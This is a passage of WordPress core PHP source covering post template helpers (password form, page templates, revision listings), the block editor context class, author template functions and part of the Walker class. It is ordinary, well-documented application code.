	 * @param string $p The attachment HTML output.
	 */
	$p = apply_filters( 'prepend_attachment', $p );

	return "$p\n$content";
}

//
// Misc.
//

/**
 * Retrieves protected post password form content.
 *
 * @since 1.0.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string HTML content for password form for password protected post.
 */
function get_the_password_form( $post = 0 ) {
	$post   = get_post( $post );
	$label  = 'pwbox-' . ( empty( $post->ID ) ? rand() : $post->ID );
	$output = '<form action="' . esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ) . '" class="post-password-form" method="post">
	<p>' . __( 'This content is password protected. To view it please enter your password below:' ) . '</p>
	<p><label for="' . $label . '">' . __( 'Password:' ) . ' <input name="post_password" id="' . $label . '" type="password" spellcheck="false" size="20" /></label> <input type="submit" name="Submit" value="' . esc_attr_x( 'Enter', 'post password form' ) . '" /></p></form>
	';

	/**
	 * Filters the HTML output for the protected post password form.
	 *
	 * If modifying the password field, please note that the core database schema
	 * limits the password field to 20 characters regardless of the value of the
	 * size attribute in the form input.
	 *
	 * @since 2.7.0
	 * @since 5.8.0 Added the `$post` parameter.
	 *
	 * @param string  $output The password form HTML output.
	 * @param WP_Post $post   Post object.
	 */
	return apply_filters( 'the_password_form', $output, $post );
}

/**
 * Determines whether the current post uses a page template.
 *
 * This template tag allows you to determine if you are in a page template.
 * You can optionally provide a template filename or array of template filenames
 * and then the check will be specific to that template.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 * @since 4.2.0 The `$template` parameter was changed to also accept an array of page templates.
 * @since 4.7.0 Now works with any post type, not just pages.
 *
 * @param string|string[] $template The specific template filename or array of templates to match.
 * @return bool True on success, false on failure.
 */
function is_page_template( $template = '' ) {
	if ( ! is_singular() ) {
		return false;
	}

	$page_template = get_page_template_slug( get_queried_object_id() );

	if ( empty( $template ) ) {
		return (bool) $page_template;
	}

	if ( $template == $page_template ) {
		return true;
	}

	if ( is_array( $template ) ) {
		if ( ( in_array( 'default', $template, true ) && ! $page_template )
			|| in_array( $page_template, $template, true )
		) {
			return true;
		}
	}

	return ( 'default' === $template && ! $page_template );
}

/**
 * Gets the specific template filename for a given post.
 *
 * @since 3.4.0
 * @since 4.7.0 Now works with any post type, not just pages.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string|false Page template filename. Returns an empty string when the default page template
 *                      is in use. Returns false if the post does not exist.
 */
function get_page_template_slug( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$template = get_post_meta( $post->ID, '_wp_page_template', true );

	if ( ! $template || 'default' === $template ) {
		return '';
	}

	return $template;
}

/**
 * Retrieves formatted date timestamp of a revision (linked to that revisions's page).
 *
 * @since 2.6.0
 *
 * @param int|object $revision Revision ID or revision object.
 * @param bool       $link     Optional. Whether to link to revision's page. Default true.
 * @return string|false i18n formatted datetimestamp or localized 'Current Revision'.
 */
function wp_post_revision_title( $revision, $link = true ) {
	$revision = get_post( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! in_array( $revision->post_type, array( 'post', 'page', 'revision' ), true ) ) {
		return false;
	}

	/* translators: Revision date format, see https://www.php.net/manual/datetime.format.php */
	$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
	/* translators: %s: Revision date. */
	$autosavef = __( '%s [Autosave]' );
	/* translators: %s: Revision date. */
	$currentf = __( '%s [Current Revision]' );

	$date      = date_i18n( $datef, strtotime( $revision->post_modified ) );
	$edit_link = get_edit_post_link( $revision->ID );
	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $edit_link ) {
		$date = "<a href='$edit_link'>$date</a>";
	}

	if ( ! wp_is_post_revision( $revision ) ) {
		$date = sprintf( $currentf, $date );
	} elseif ( wp_is_post_autosave( $revision ) ) {
		$date = sprintf( $autosavef, $date );
	}

	return $date;
}

/**
 * Retrieves formatted date timestamp of a revision (linked to that revisions's page).
 *
 * @since 3.6.0
 *
 * @param int|object $revision Revision ID or revision object.
 * @param bool       $link     Optional. Whether to link to revision's page. Default true.
 * @return string|false gravatar, user, i18n formatted datetimestamp or localized 'Current Revision'.
 */
function wp_post_revision_title_expanded( $revision, $link = true ) {
	$revision = get_post( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! in_array( $revision->post_type, array( 'post', 'page', 'revision' ), true ) ) {
		return false;
	}

	$author = get_the_author_meta( 'display_name', $revision->post_author );
	/* translators: Revision date format, see https://www.php.net/manual/datetime.format.php */
	$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );

	$gravatar = get_avatar( $revision->post_author, 24 );

	$date      = date_i18n( $datef, strtotime( $revision->post_modified ) );
	$edit_link = get_edit_post_link( $revision->ID );
	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $edit_link ) {
		$date = "<a href='$edit_link'>$date</a>";
	}

	$revision_date_author = sprintf(
		/* translators: Post revision title. 1: Author avatar, 2: Author name, 3: Time ago, 4: Date. */
		__( '%1$s %2$s, %3$s ago (%4$s)' ),
		$gravatar,
		$author,
		human_time_diff( strtotime( $revision->post_modified_gmt ) ),
		$date
	);

	/* translators: %s: Revision date with author avatar. */
	$autosavef = __( '%s [Autosave]' );
	/* translators: %s: Revision date with author avatar. */
	$currentf = __( '%s [Current Revision]' );

	if ( ! wp_is_post_revision( $revision ) ) {
		$revision_date_author = sprintf( $currentf, $revision_date_author );
	} elseif ( wp_is_post_autosave( $revision ) ) {
		$revision_date_author = sprintf( $autosavef, $revision_date_author );
	}

	/**
	 * Filters the formatted author and date for a revision.
	 *
	 * @since 4.4.0
	 *
	 * @param string  $revision_date_author The formatted string.
	 * @param WP_Post $revision             The revision object.
	 * @param bool    $link                 Whether to link to the revisions page, as passed into
	 *                                      wp_post_revision_title_expanded().
	 */
	return apply_filters( 'wp_post_revision_title_expanded', $revision_date_author, $revision, $link );
}

/**
 * Displays a list of a post's revisions.
 *
 * Can output either a UL with edit links or a TABLE with diff interface, and
 * restore action links.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @param string      $type 'all' (default), 'revision' or 'autosave'
 */
function wp_list_post_revisions( $post = 0, $type = 'all' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	// $args array with (parent, format, right, left, type) deprecated since 3.6.
	if ( is_array( $type ) ) {
		$type = ! empty( $type['type'] ) ? $type['type'] : $type;
		_deprecated_argument( __FUNCTION__, '3.6.0' );
	}

	$revisions = wp_get_post_revisions( $post->ID );

	if ( ! $revisions ) {
		return;
	}

	$rows = '';
	foreach ( $revisions as $revision ) {
		if ( ! current_user_can( 'read_post', $revision->ID ) ) {
			continue;
		}

		$is_autosave = wp_is_post_autosave( $revision );
		if ( ( 'revision' === $type && $is_autosave ) || ( 'autosave' === $type && ! $is_autosave ) ) {
			continue;
		}

		$rows .= "\t<li>" . wp_post_revision_title_expanded( $revision ) . "</li>\n";
	}

	echo "<div class='hide-if-js'><p>" . __( 'JavaScript must be enabled to use this feature.' ) . "</p></div>\n";

	echo "<ul class='post-revisions hide-if-no-js'>\n";
	echo $rows;
	echo '</ul>';
}

/**
 * Retrieves the parent post object for the given post.
 *
 * @since 5.7.0
 *
 * @param int|WP_Post|null $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return WP_Post|null Parent post object, or null if there isn't one.
 */
function get_post_parent( $post = null ) {
	$wp_post = get_post( $post );
	return ! empty( $wp_post->post_parent ) ? get_post( $wp_post->post_parent ) : null;
}

/**
 * Returns whether the given post has a parent post.
 *
 * @since 5.7.0
 *
 * @param int|WP_Post|null $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return bool Whether the post has a parent post.
 */
function has_post_parent( $post = null ) {
	return (bool) get_post_parent( $post );
}
<?php
/**
 * Blocks API: WP_Block_Editor_Context class
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Contains information about a block editor being rendered.
 *
 * @since 5.8.0
 */
#[AllowDynamicProperties]
final class WP_Block_Editor_Context {
	/**
	 * String that identifies the block editor being rendered. Can be one of:
	 *
	 * - `'core/edit-post'`         - The post editor at `/wp-admin/edit.php`.
	 * - `'core/edit-widgets'`      - The widgets editor at `/wp-admin/widgets.php`.
	 * - `'core/customize-widgets'` - The widgets editor at `/wp-admin/customize.php`.
	 * - `'core/edit-site'`         - The site editor at `/wp-admin/site-editor.php`.
	 *
	 * Defaults to 'core/edit-post'.
	 *
	 * @since 6.0.0
	 *
	 * @var string
	 */
	public $name = 'core/edit-post';

	/**
	 * The post being edited by the block editor. Optional.
	 *
	 * @since 5.8.0
	 *
	 * @var WP_Post|null
	 */
	public $post = null;

	/**
	 * Constructor.
	 *
	 * Populates optional properties for a given block editor context.
	 *
	 * @since 5.8.0
	 *
	 * @param array $settings The list of optional settings to expose in a given context.
	 */
	public function __construct( array $settings = array() ) {
		if ( isset( $settings['name'] ) ) {
			$this->name = $settings['name'];
		}
		if ( isset( $settings['post'] ) ) {
			$this->post = $settings['post'];
		}
	}
}
<?php
/**
 * Author Template functions for use in themes.
 *
 * These functions must be used within the WordPress Loop.
 *
 * @link https://codex.wordpress.org/Author_Templates
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieves the author of the current post.
 *
 * @since 1.5.0
 * @since 6.3.0 Returns an empty string if the author's display name is unknown.
 *
 * @global WP_User $authordata The current author's data.
 *
 * @param string $deprecated Deprecated.
 * @return string The author's display name, empty string if unknown.
 */
function get_the_author( $deprecated = '' ) {
	global $authordata;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.1.0' );
	}

	/**
	 * Filters the display name of the current post's author.
	 *
	 * @since 2.9.0
	 *
	 * @param string $display_name The author's display name.
	 */
	return apply_filters( 'the_author', is_object( $authordata ) ? $authordata->display_name : '' );
}

/**
 * Displays the name of the author of the current post.
 *
 * The behavior of this function is based off of old functionality predating
 * get_the_author(). This function is not deprecated, but is designed to echo
 * the value from get_the_author() and as an result of any old theme that might
 * still use the old behavior will also pass the value from get_the_author().
 *
 * The normal, expected behavior of this function is to echo the author and not
 * return it. However, backward compatibility has to be maintained.
 *
 * @since 0.71
 *
 * @see get_the_author()
 * @link https://developer.wordpress.org/reference/functions/the_author/
 *
 * @param string $deprecated      Deprecated.
 * @param bool   $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it.
 * @return string The author's display name, from get_the_author().
 */
function the_author( $deprecated = '', $deprecated_echo = true ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.1.0' );
	}

	if ( true !== $deprecated_echo ) {
		_deprecated_argument(
			__FUNCTION__,
			'1.5.0',
			sprintf(
				/* translators: %s: get_the_author() */
				__( 'Use %s instead if you do not want the value echoed.' ),
				'<code>get_the_author()</code>'
			)
		);
	}

	if ( $deprecated_echo ) {
		echo get_the_author();
	}

	return get_the_author();
}

/**
 * Retrieves the author who last edited the current post.
 *
 * @since 2.8.0
 *
 * @return string|void The author's display name, empty string if unknown.
 */
function get_the_modified_author() {
	$last_id = get_post_meta( get_post()->ID, '_edit_last', true );

	if ( $last_id ) {
		$last_user = get_userdata( $last_id );

		/**
		 * Filters the display name of the author who last edited the current post.
		 *
		 * @since 2.8.0
		 *
		 * @param string $display_name The author's display name, empty string if unknown.
		 */
		return apply_filters( 'the_modified_author', $last_user ? $last_user->display_name : '' );
	}
}

/**
 * Displays the name of the author who last edited the current post,
 * if the author's ID is available.
 *
 * @since 2.8.0
 *
 * @see get_the_author()
 */
function the_modified_author() {
	echo get_the_modified_author();
}

/**
 * Retrieves the requested data of the author of the current post.
 *
 * Valid values for the `$field` parameter include:
 *
 * - admin_color
 * - aim
 * - comment_shortcuts
 * - description
 * - display_name
 * - first_name
 * - ID
 * - jabber
 * - last_name
 * - nickname
 * - plugins_last_view
 * - plugins_per_page
 * - rich_editing
 * - syntax_highlighting
 * - user_activation_key
 * - user_description
 * - user_email
 * - user_firstname
 * - user_lastname
 * - user_level
 * - user_login
 * - user_nicename
 * - user_pass
 * - user_registered
 * - user_status
 * - user_url
 * - yim
 *
 * @since 2.8.0
 *
 * @global WP_User $authordata The current author's data.
 *
 * @param string    $field   Optional. The user field to retrieve. Default empty.
 * @param int|false $user_id Optional. User ID. Defaults to the current post author.
 * @return string The author's field from the current author's DB object, otherwise an empty string.
 */
function get_the_author_meta( $field = '', $user_id = false ) {
	$original_user_id = $user_id;

	if ( ! $user_id ) {
		global $authordata;
		$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;
	} else {
		$authordata = get_userdata( $user_id );
	}

	if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ), true ) ) {
		$field = 'user_' . $field;
	}

	$value = isset( $authordata->$field ) ? $authordata->$field : '';

	/**
	 * Filters the value of the requested user metadata.
	 *
	 * The filter name is dynamic and depends on the $field parameter of the function.
	 *
	 * @since 2.8.0
	 * @since 4.3.0 The `$original_user_id` parameter was added.
	 *
	 * @param string    $value            The value of the metadata.
	 * @param int       $user_id          The user ID for the value.
	 * @param int|false $original_user_id The original user ID, as passed to the function.
	 */
	return apply_filters( "get_the_author_{$field}", $value, $user_id, $original_user_id );
}

/**
 * Outputs the field from the user's DB object. Defaults to current post's author.
 *
 * @since 2.8.0
 *
 * @param string    $field   Selects the field of the users record. See get_the_author_meta()
 *                           for the list of possible fields.
 * @param int|false $user_id Optional. User ID. Defaults to the current post author.
 *
 * @see get_the_author_meta()
 */
function the_author_meta( $field = '', $user_id = false ) {
	$author_meta = get_the_author_meta( $field, $user_id );

	/**
	 * Filters the value of the requested user metadata.
	 *
	 * The filter name is dynamic and depends on the $field parameter of the function.
	 *
	 * @since 2.8.0
	 *
	 * @param string    $author_meta The value of the metadata.
	 * @param int|false $user_id     The user ID.
	 */
	echo apply_filters( "the_author_{$field}", $author_meta, $user_id );
}

/**
 * Retrieves either author's link or author's name.
 *
 * If the author has a home page set, return an HTML link, otherwise just return
 * the author's name.
 *
 * @since 3.0.0
 *
 * @global WP_User $authordata The current author's data.
 *
 * @return string An HTML link if the author's URL exists in user meta,
 *                otherwise the result of get_the_author().
 */
function get_the_author_link() {
	if ( get_the_author_meta( 'url' ) ) {
		global $authordata;

		$author_url          = get_the_author_meta( 'url' );
		$author_display_name = get_the_author();

		$link = sprintf(
			'<a href="%1$s" title="%2$s" rel="author external">%3$s</a>',
			esc_url( $author_url ),
			/* translators: %s: Author's display name. */
			esc_attr( sprintf( __( 'Visit %s&#8217;s website' ), $author_display_name ) ),
			$author_display_name
		);

		/**
		 * Filters the author URL link HTML.
		 *
		 * @since 6.0.0
		 *
		 * @param string  $link       The default rendered author HTML link.
		 * @param string  $author_url Author's URL.
		 * @param WP_User $authordata Author user data.
		 */
		return apply_filters( 'the_author_link', $link, $author_url, $authordata );
	} else {
		return get_the_author();
	}
}

/**
 * Displays either author's link or author's name.
 *
 * If the author has a home page set, echo an HTML link, otherwise just echo the
 * author's name.
 *
 * @link https://developer.wordpress.org/reference/functions/the_author_link/
 *
 * @since 2.1.0
 */
function the_author_link() {
	echo get_the_author_link();
}

/**
 * Retrieves the number of posts by the author of the current post.
 *
 * @since 1.5.0
 *
 * @return int The number of posts by the author.
 */
function get_the_author_posts() {
	$post = get_post();
	if ( ! $post ) {
		return 0;
	}
	return count_user_posts( $post->post_author, $post->post_type );
}

/**
 * Displays the number of posts by the author of the current post.
 *
 * @link https://developer.wordpress.org/reference/functions/the_author_posts/
 * @since 0.71
 */
function the_author_posts() {
	echo get_the_author_posts();
}

/**
 * Retrieves an HTML link to the author page of the current post's author.
 *
 * Returns an HTML-formatted link using get_author_posts_url().
 *
 * @since 4.4.0
 *
 * @global WP_User $authordata The current author's data.
 *
 * @return string An HTML link to the author page, or an empty string if $authordata is not set.
 */
function get_the_author_posts_link() {
	global $authordata;

	if ( ! is_object( $authordata ) ) {
		return '';
	}

	$link = sprintf(
		'<a href="%1$s" title="%2$s" rel="author">%3$s</a>',
		esc_url( get_author_posts_url( $authordata->ID, $authordata->user_nicename ) ),
		/* translators: %s: Author's display name. */
		esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ),
		get_the_author()
	);

	/**
	 * Filters the link to the author page of the author of the current post.
	 *
	 * @since 2.9.0
	 *
	 * @param string $link HTML link.
	 */
	return apply_filters( 'the_author_posts_link', $link );
}

/**
 * Displays an HTML link to the author page of the current post's author.
 *
 * @since 1.2.0
 * @since 4.4.0 Converted into a wrapper for get_the_author_posts_link()
 *
 * @param string $deprecated Unused.
 */
function the_author_posts_link( $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.1.0' );
	}
	echo get_the_author_posts_link();
}

/**
 * Retrieves the URL to the author page for the user with the ID provided.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int    $author_id       Author ID.
 * @param string $author_nicename Optional. The author's nicename (slug). Default empty.
 * @return string The URL to the author's page.
 */
function get_author_posts_url( $author_id, $author_nicename = '' ) {
	global $wp_rewrite;

	$author_id = (int) $author_id;
	$link      = $wp_rewrite->get_author_permastruct();

	if ( empty( $link ) ) {
		$file = home_url( '/' );
		$link = $file . '?author=' . $author_id;
	} else {
		if ( '' === $author_nicename ) {
			$user = get_userdata( $author_id );
			if ( ! empty( $user->user_nicename ) ) {
				$author_nicename = $user->user_nicename;
			}
		}
		$link = str_replace( '%author%', $author_nicename, $link );
		$link = home_url( user_trailingslashit( $link ) );
	}

	/**
	 * Filters the URL to the author's page.
	 *
	 * @since 2.1.0
	 *
	 * @param string $link            The URL to the author's page.
	 * @param int    $author_id       The author's ID.
	 * @param string $author_nicename The author's nice name.
	 */
	$link = apply_filters( 'author_link', $link, $author_id, $author_nicename );

	return $link;
}

/**
 * Lists all the authors of the site, with several options available.
 *
 * @link https://developer.wordpress.org/reference/functions/wp_list_authors/
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|array $args {
 *     Optional. Array or string of default arguments.
 *
 *     @type string       $orderby       How to sort the authors. Accepts 'nicename', 'email', 'url', 'registered',
 *                                       'user_nicename', 'user_email', 'user_url', 'user_registered', 'name',
 *                                       'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'.
 *     @type string       $order         Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type int          $number        Maximum authors to return or display. Default empty (all authors).
 *     @type bool         $optioncount   Show the count in parenthesis next to the author's name. Default false.
 *     @type bool         $exclude_admin Whether to exclude the 'admin' account, if it exists. Default true.
 *     @type bool         $show_fullname Whether to show the author's full name. Default false.
 *     @type bool         $hide_empty    Whether to hide any authors with no posts. Default true.
 *     @type string       $feed          If not empty, show a link to the author's feed and use this text as the alt
 *                                       parameter of the link. Default empty.
 *     @type string       $feed_image    If not empty, show a link to the author's feed and use this image URL as
 *                                       clickable anchor. Default empty.
 *     @type string       $feed_type     The feed type to link to. Possible values include 'rss2', 'atom'.
 *                                       Default is the value of get_default_feed().
 *     @type bool         $echo          Whether to output the result or instead return it. Default true.
 *     @type string       $style         If 'list', each author is wrapped in an `<li>` element, otherwise the authors
 *                                       will be separated by commas.
 *     @type bool         $html          Whether to list the items in HTML form or plaintext. Default true.
 *     @type int[]|string $exclude       Array or comma/space-separated list of author IDs to exclude. Default empty.
 *     @type int[]|string $include       Array or comma/space-separated list of author IDs to include. Default empty.
 * }
 * @return void|string Void if 'echo' argument is true, list of authors if 'echo' is false.
 */
function wp_list_authors( $args = '' ) {
	global $wpdb;

	$defaults = array(
		'orderby'       => 'name',
		'order'         => 'ASC',
		'number'        => '',
		'optioncount'   => false,
		'exclude_admin' => true,
		'show_fullname' => false,
		'hide_empty'    => true,
		'feed'          => '',
		'feed_image'    => '',
		'feed_type'     => '',
		'echo'          => true,
		'style'         => 'list',
		'html'          => true,
		'exclude'       => '',
		'include'       => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$return = '';

	$query_args           = wp_array_slice_assoc( $parsed_args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) );
	$query_args['fields'] = 'ids';

	/**
	 * Filters the query arguments for the list of all authors of the site.
	 *
	 * @since 6.1.0
	 *
	 * @param array $query_args  The query arguments for get_users().
	 * @param array $parsed_args The arguments passed to wp_list_authors() combined with the defaults.
	 */
	$query_args = apply_filters( 'wp_list_authors_args', $query_args, $parsed_args );

	$authors     = get_users( $query_args );
	$post_counts = array();

	/**
	 * Filters whether to short-circuit performing the query for author post counts.
	 *
	 * @since 6.1.0
	 *
	 * @param int[]|false $post_counts Array of post counts, keyed by author ID.
	 * @param array       $parsed_args The arguments passed to wp_list_authors() combined with the defaults.
	 */
	$post_counts = apply_filters( 'pre_wp_list_authors_post_counts_query', false, $parsed_args );

	if ( ! is_array( $post_counts ) ) {
		$post_counts       = array();
		$post_counts_query = $wpdb->get_results(
			"SELECT DISTINCT post_author, COUNT(ID) AS count
			FROM $wpdb->posts
			WHERE " . get_private_posts_cap_sql( 'post' ) . '
			GROUP BY post_author'
		);

		foreach ( (array) $post_counts_query as $row ) {
			$post_counts[ $row->post_author ] = $row->count;
		}
	}

	foreach ( $authors as $author_id ) {
		$posts = isset( $post_counts[ $author_id ] ) ? $post_counts[ $author_id ] : 0;

		if ( ! $posts && $parsed_args['hide_empty'] ) {
			continue;
		}

		$author = get_userdata( $author_id );

		if ( $parsed_args['exclude_admin'] && 'admin' === $author->display_name ) {
			continue;
		}

		if ( $parsed_args['show_fullname'] && $author->first_name && $author->last_name ) {
			$name = sprintf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$author->first_name,
				$author->last_name
			);
		} else {
			$name = $author->display_name;
		}

		if ( ! $parsed_args['html'] ) {
			$return .= $name . ', ';

			continue; // No need to go further to process HTML.
		}

		if ( 'list' === $parsed_args['style'] ) {
			$return .= '<li>';
		}

		$link = sprintf(
			'<a href="%1$s" title="%2$s">%3$s</a>',
			esc_url( get_author_posts_url( $author->ID, $author->user_nicename ) ),
			/* translators: %s: Author's display name. */
			esc_attr( sprintf( __( 'Posts by %s' ), $author->display_name ) ),
			$name
		);

		if ( ! empty( $parsed_args['feed_image'] ) || ! empty( $parsed_args['feed'] ) ) {
			$link .= ' ';
			if ( empty( $parsed_args['feed_image'] ) ) {
				$link .= '(';
			}

			$link .= '<a href="' . get_author_feed_link( $author->ID, $parsed_args['feed_type'] ) . '"';

			$alt = '';
			if ( ! empty( $parsed_args['feed'] ) ) {
				$alt  = ' alt="' . esc_attr( $parsed_args['feed'] ) . '"';
				$name = $parsed_args['feed'];
			}

			$link .= '>';

			if ( ! empty( $parsed_args['feed_image'] ) ) {
				$link .= '<img src="' . esc_url( $parsed_args['feed_image'] ) . '" style="border: none;"' . $alt . ' />';
			} else {
				$link .= $name;
			}

			$link .= '</a>';

			if ( empty( $parsed_args['feed_image'] ) ) {
				$link .= ')';
			}
		}

		if ( $parsed_args['optioncount'] ) {
			$link .= ' (' . $posts . ')';
		}

		$return .= $link;
		$return .= ( 'list' === $parsed_args['style'] ) ? '</li>' : ', ';
	}

	$return = rtrim( $return, ', ' );

	if ( $parsed_args['echo'] ) {
		echo $return;
	} else {
		return $return;
	}
}

/**
 * Determines whether this site has more than one author.
 *
 * Checks to see if more than one author has published posts.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return bool Whether or not we have more than one author
 */
function is_multi_author() {
	global $wpdb;

	$is_multi_author = get_transient( 'is_multi_author' );
	if ( false === $is_multi_author ) {
		$rows            = (array) $wpdb->get_col( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2" );
		$is_multi_author = 1 < count( $rows ) ? 1 : 0;
		set_transient( 'is_multi_author', $is_multi_author );
	}

	/**
	 * Filters whether the site has more than one author with published posts.
	 *
	 * @since 3.2.0
	 *
	 * @param bool $is_multi_author Whether $is_multi_author should evaluate as true.
	 */
	return apply_filters( 'is_multi_author', (bool) $is_multi_author );
}

/**
 * Helper function to clear the cache for number of authors.
 *
 * @since 3.2.0
 * @access private
 */
function __clear_multi_author_cache() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	delete_transient( 'is_multi_author' );
}
<?php
/**
 * A class for displaying various tree-like structures.
 *
 * Extend the Walker class to use it, see examples below. Child classes
 * do not need to implement all of the abstract methods in the class. The child
 * only needs to implement the methods that are needed.
 *
 * @since 2.1.0
 *
 * @package WordPress
 * @abstract
 */
#[AllowDynamicProperties]
class Walker {
	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 */
	public $tree_type;

	/**
	 * DB fields to use.
	 *
	 * @since 2.1.0
	 * @var string[]
	 */
	public $db_fields;

	/**
	 * Max number of pages walked by the paged walker.
	 *
	 * @since 2.7.0
	 * @var int
	 */
	public $max_pages = 1;

	/**
	 * Whether the current element has children or not.
	 *
	 * To be used in start_el().
	 *
	 * @since 4.0.0
	 * @var bool
	 */
	public $has_children;

	/**
	 * Starts the list before the elements are added.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. This method is called at the start of the output list.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. This method finishes the list at the end of output of the elements.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {}

	/**
	 * Starts the element output.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. Also includes the element output.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$object` (a PHP reserved keyword) to `$data_object` for PHP 8 named parameter support.
	 * @abstract
	 *
	 * @param string $output            Used to append additional content (passed by reference).
	 * @param object $data_object       The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id Optional. ID of the current item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {}

	/**
	 * Ends the element output, if needed.
	 *
	 * The $args parameter holds additional values that may be used with the child class methods.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$object` (a PHP reserved keyword) to `$data_object` for PHP 8 named parameter support.
	 * @abstract
	 *
	 * @param string $output      Used to append additional content (passed by reference).
	 * @param object $data_object The data object.
	 * @param int    $depth       Depth of the item.
	 * @param array  $args        An array of additional arguments.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {}

	/**
	 * Traverses elements to create list from elements.
	 *
	 * Display one element if the element doesn't have any children otherwise,
	 * display the element and its children. Will only traverse up to the max
	 * depth and no ignore elements under that depth. It is possible to set the
	 * max depth to include all depths, see walk() method.
	 *
	 * This method should not be called directly, use the walk() method instead.
	 *
	 * @since 2.5.0
	 *
	 * @param object $element           Data object.
	 * @param array  $children_elements List of elements to continue traversing (passed by reference).
	 * @param int    $max_depth         Max depth to traverse.
	 * @param int    $depth             Depth of current element.
	 * @param array  $args              An array of arguments.
	 * @param string $output            Used to append additional content (passed by reference).
	 */
	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
		if ( ! $element ) {
			return;
		}

		$id_field = $this->db_fields['id'];
		$id       = $element->$id_field;

		// Display this element.
		$this->has_children = ! empty( $children_elements[ $id ] );
		if ( isset( $args[0] ) && is_array( $args[0] ) ) {
			$args[0]['has_children'] = $this->has_children; // Back-compat.
		}

		$this->start_el( $output, $element, $depth, ...array_values( $args ) );

		// Descend only when the depth is right and there are children for this element.
		if ( ( 0 == $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) {

			foreach ( $children_elements[ $id ] as $child ) {

				if ( ! isset( $newlevel ) ) {
					$newlevel = true;
					// Start the child delimiter.
					$this->start_lvl( $output, $depth, ...array_values( $args ) );
				}
				$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
			}
			unset( $children_elements[ $id ] );
		}

		if ( isset( $newlevel ) && $newlevel ) {
			// End the child delimiter.
			$this->end_lvl( $output, $depth, ...array_values( $args ) );
		}

		// End this element.
		$this->end_el( $output, $element, $depth, ...array_values( $args ) );
	}

	/**
	 * Displays array of elements hierarchically.
	 *
	 * Does not assume any existing order of elements.
	 *
	 * $max_depth = -1 means flatly display every element.
	 * $max_depth = 0 means display all levels.
	 * $max_depth > 0 specifies the number of display levels.
	 *
	 * @since 2.1.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param array $elements  An array of elements.
	 * @param int   $max_depth The maximum hierarchical depth.
	 * @param mixed ...$args   Optional additional arguments.
	 * @return string The hierarchical item output.
	 */
	public function walk( $elements, $max_depth, ...$args ) {
		$output = '';

		// Invalid parameter or nothing to walk.
		if ( $max_depth < -1 || empty( $elements ) ) {
			return $output;
		}

		$parent_field = $this->db_fields['parent'];

		// Flat display.
